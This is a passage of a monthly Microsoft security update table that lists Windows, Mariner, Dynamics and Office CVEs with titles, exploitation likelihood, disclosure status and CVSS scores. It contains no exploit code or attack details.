CVE-2026-83942	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-85360	Windows Kernel Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69406	Windows Kernel Information Disclosure Vulnerability	Exploitation More Likely	No	5.5
CVE-2026-69723	Windows Kernel Information Disclosure Vulnerability	Exploitation More Likely	No	5.7
CVE-2026-69669	Windows Kernel Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69421	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-84001	Windows Key Distribution Center Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69712	Windows Key Distribution Center Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69428	Windows LDAP – Lightweight Directory Access Protocol Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69281	Windows License Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69315	Windows License Manager Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69732	Windows Link Layer Topology Discovery Protocol Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-69451	Windows Management Instrumentation Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-70582	Windows Management Instrumentation Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.4
CVE-2026-77905	Windows Management Instrumentation Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69349	Windows Management Instrumentation Information Disclosure Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-73012	Windows Management Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69891	Windows Media Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-70203	Windows Media Player Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-72960	Windows Media Player Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-69645	Windows Message Queuing Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-68887	Windows Message Queuing Queue Manager Denial of Service Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72932	Windows Message Queuing Queue Manager Information Disclosure Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69579	Windows Message Queuing Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-83997	Windows Message Queuing Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.1
CVE-2026-70579	Windows Mobile Broadband Information Disclosure Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69377	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69460	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-70577	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-73003	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-73022	Windows Modern Device Management (MDM) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69674	Windows Modern Device Management (MDM) Security Feature Bypass Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-72963	Windows Modern Execution Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69357	Windows NDIS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69396	Windows NDIS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-72982	Windows Netlogon Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-62759	Windows Netlogon Spoofing Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72967	Windows Network Connection Broker Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-68886	Windows Network Connection Broker Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69372	Windows Network File System Denial of Service Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-69772	Windows Network File System Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-71334	Windows NFS Portmapper Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69648	Windows Notification Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68832	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68834	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-68838	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-68841	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69265	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69312	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69332	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69340	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69505	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69532	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69567	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69875	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-72935	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-77503	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.4
CVE-2026-83995	Windows NTFS Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68851	Windows NTFS Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69504	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69591	Windows NTFS Information Disclosure Vulnerability	Exploitation Unlikely	No	5.7
CVE-2026-68833	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-68875	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69461	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69463	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69479	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.4
CVE-2026-69566	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-69638	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.4
CVE-2026-69709	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-71329	Windows NTFS Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-69564	Windows Online Certificate Status Protocol (OCSP) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69350	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-69368	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69371	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69373	Windows Overlay Filter Elevation of Privilege Vulnerability	Exploitation Unlikely	No	6.7
CVE-2026-69316	Windows Overlay Filter Information Disclosure Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-69343	Windows Overlay Filter Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69474	Windows Overlay Filter Information Disclosure Vulnerability	Exploitation Unlikely	No	4.8
CVE-2026-70586	Windows Paint Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8

CVE-2026-69480	Windows Partition Management Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69492	Windows Partition Management Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71341	Windows Partition Management Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69324	Windows Performance Monitor Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69459	Windows Power Dependency Coordinator Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69321	Windows Power Dependency Coordinator Tampering Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69569	Windows Print Spooler Components Denial of Service Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-68835	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-68848	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69309	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69346	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69364	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-69838	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69921	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-70564	Windows Print Spooler Components Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69344	Windows Print Spooler Components Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69552	Windows Print Spooler Components Information Disclosure Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-69602	Windows PrintWorkflowUserSvc Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-68845	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68876	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.0
CVE-2026-69534	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69563	Windows Program Compatibility Assistant Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-68874	Windows Program Compatibility Assistant Service Information Disclosure Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-62697	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69280	Windows Push Notifications Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69337	Windows Registry Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-78449	Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69331	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69455	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-71333	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71342	Windows Remote Access Connection Manager Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-71343	Windows Remote Access Connection Manager Remote Code Execution Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-71352	Windows Remote Access Connection Manager Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-72966	Windows Remote Access Connection Manager Tampering Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-77896	Windows Remote Desktop Client Denial of Service Vulnerability	Exploitation Less Likely	No	6.5
CVE-2026-69317	Windows Remote Desktop Client Information Disclosure Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-69627	Windows Remote Desktop Licensing Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-70587	Windows Remote Desktop Protocol Information Disclosure Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-69518	Windows Remote Desktop Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69287	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69475	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-80096	Windows Remote Desktop Services Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69616	Windows Remote Desktop Services Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69548	Windows RNDIS Information Disclosure Vulnerability	Exploitation Less Likely	No	4.6
CVE-2026-69768	Windows RNDIS Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-72939	Windows Routing and Remote Access Service (RRAS) Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-71351	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71353	Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69590	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69852	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation More Likely	No	7.5
CVE-2026-70570	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-72950	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-72959	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69713	Windows Secure Boot Security Feature Bypass Vulnerability	Exploitation Less Likely	No	4.4
CVE-2026-69501	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69846	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-69906	Windows Secure Kernel Mode Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.2
CVE-2026-72931	Windows Secure Socket Tunneling Protocol (SSTP) Denial of Service Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-71332	Windows Secure Socket Tunneling Protocol (SSTP) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-72930	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-73009	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-77899	Windows Security Center Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-56177	Windows Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-83989	Windows Services for NFS ONCRPC XDR Driver Denial of Service Vulnerability	Exploitation Less Likely	No	7.5
CVE-2026-73024	Windows Services for NFS ONCRPC XDR Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-71330	Windows Services for NFS ONCRPC XDR Driver Information Disclosure Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69595	Windows Services for NFS ONCRPC XDR Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-70585	Windows Services for NFS ONCRPC XDR Driver Remote Code Execution Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-78445	Windows Services for NFS ONCRPC XDR Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69289	Windows Setup Files Cleanup Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69829	Windows Shell Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-70563	Windows Shell Spoofing Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69785	Windows Smart Card Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69572	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	5.7
CVE-2026-69618	Windows SMB Client Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69374	Windows SMB Server Denial of Service Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69403	Windows SMB Server Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69512	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69535	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69643	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69691	Windows Spaceport.sys Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69390	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69393	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Less Likely	No	5.7
CVE-2026-69741	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69770	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69895	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-72942	Windows Spaceport.sys Information Disclosure Vulnerability	Exploitation Unlikely	No	6.5
CVE-2026-69538	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-71345	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-71348	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-71349	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Unlikely	No	6.8
CVE-2026-71350	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-72952	Windows Spaceport.sys Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69328	Windows Storage Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-78516	Windows Storage Information Disclosure Vulnerability	Exploitation Unlikely	No	4.3
CVE-2026-69389	Windows Storage Management Provider Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-71337	Windows Storage Management Provider Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69381	Windows Storage Port Driver Information Disclosure Vulnerability	Exploitation Unlikely	No	4.6
CVE-2026-72937	Windows Storage Port Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-77492	Windows Storage Port Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69290	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69575	Windows Storage Spaces Controller Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-68844	Windows Storage Spaces Controller Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68877	Windows Storage Spaces Controller Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72945	Windows Task Scheduler Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69385	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69404	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69757	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-69761	Windows TCP/IP Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.1
CVE-2026-69793	Windows TCP/IP Security Feature Bypass Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69353	Windows Text Shaping Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69786	Windows Text Shaping Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.1
CVE-2026-69573	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69592	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69758	Windows Universal Disk Format File System Driver (UDFS) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-68830	Windows Universal Plug and Play (UPnP) Device Host Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69351	Windows Universal Plug and Play (UPnP) Device Host Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-69434	Windows URL Moniker Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73019	Windows URL Moniker Security Feature Bypass Vulnerability	Exploitation Less Likely	No	4.3
CVE-2026-69270	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69307	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69413	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0

CVE-2026-69469	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.6
CVE-2026-69571	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69687	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69707	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69859	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69286	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68840	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69295	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69503	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-72953	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69457	Windows USB Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-72999	Windows USB Hub Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-69490	Windows USB Mass Storage Class Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-69527	Windows USB Mass Storage Class Driver Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-68839	Windows USB Mass Storage Class Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69319	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69423	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69584	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-72962	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.2
CVE-2026-56172	Windows VHD miniport driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69890	Windows Virtual Trusted Platform Module Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-69426	Windows VOLSNAP.SYS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69468	Windows Volume Manager Extension Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69582	Windows Volume Manager Extension Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-77904	Windows Volume Manager Extension Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69291	Windows Volume Manager Extension Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69334	Windows Volume Manager Extension Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69708	Windows Web Platform Storage Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-72965	Windows WebClient Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68880	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.0
CVE-2026-69274	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-69301	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.0
CVE-2026-69335	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69410	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69498	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69610	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69630	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69652	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69689	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69706	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69762	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69779	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69844	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-70283	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-70289	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69792	Windows Win32K Security Feature Bypass Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-69517	Windows Wireless Networking Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69862	Windows Wireless Wide Area Network Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69560	Windows Work Folder Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71336	Windows Work Folder Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-80075	Windows Work Folders Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72927	Winsock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-78455	Xbox Information Disclosure Vulnerability	Exploitation Less Likely	No	4.3

Mariner vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2025-70873	An information disclosure issue in the zipfileInflate function in the zipfile extension in SQLite v3.51.1 and earlier allows attackers to obtain heap memory via supplying a crafted ZIP file.	n/a	No	7.5

Microsoft Dynamics vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-65772	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-77908	Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability	N/A	No	8.8
CVE-2026-77897	Microsoft Power Automate Desktop Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-65818	Power Automate Elevation of Privilege Vulnerability	N/A	No	8.5

Microsoft Office vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-80098	Copilot Studio Elevation of Privilege Vulnerability	N/A	No	9.3
CVE-2026-81387	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-81390	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-81391	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-81392	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-81393	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-81394	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-81395	Microsoft Excel Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-81399	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-81400	Microsoft Excel Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-81401	Microsoft Excel Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-81958	Microsoft Excel Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-81386	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-81388	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-81389	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-81396	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-81397	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-81398	Microsoft Excel Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
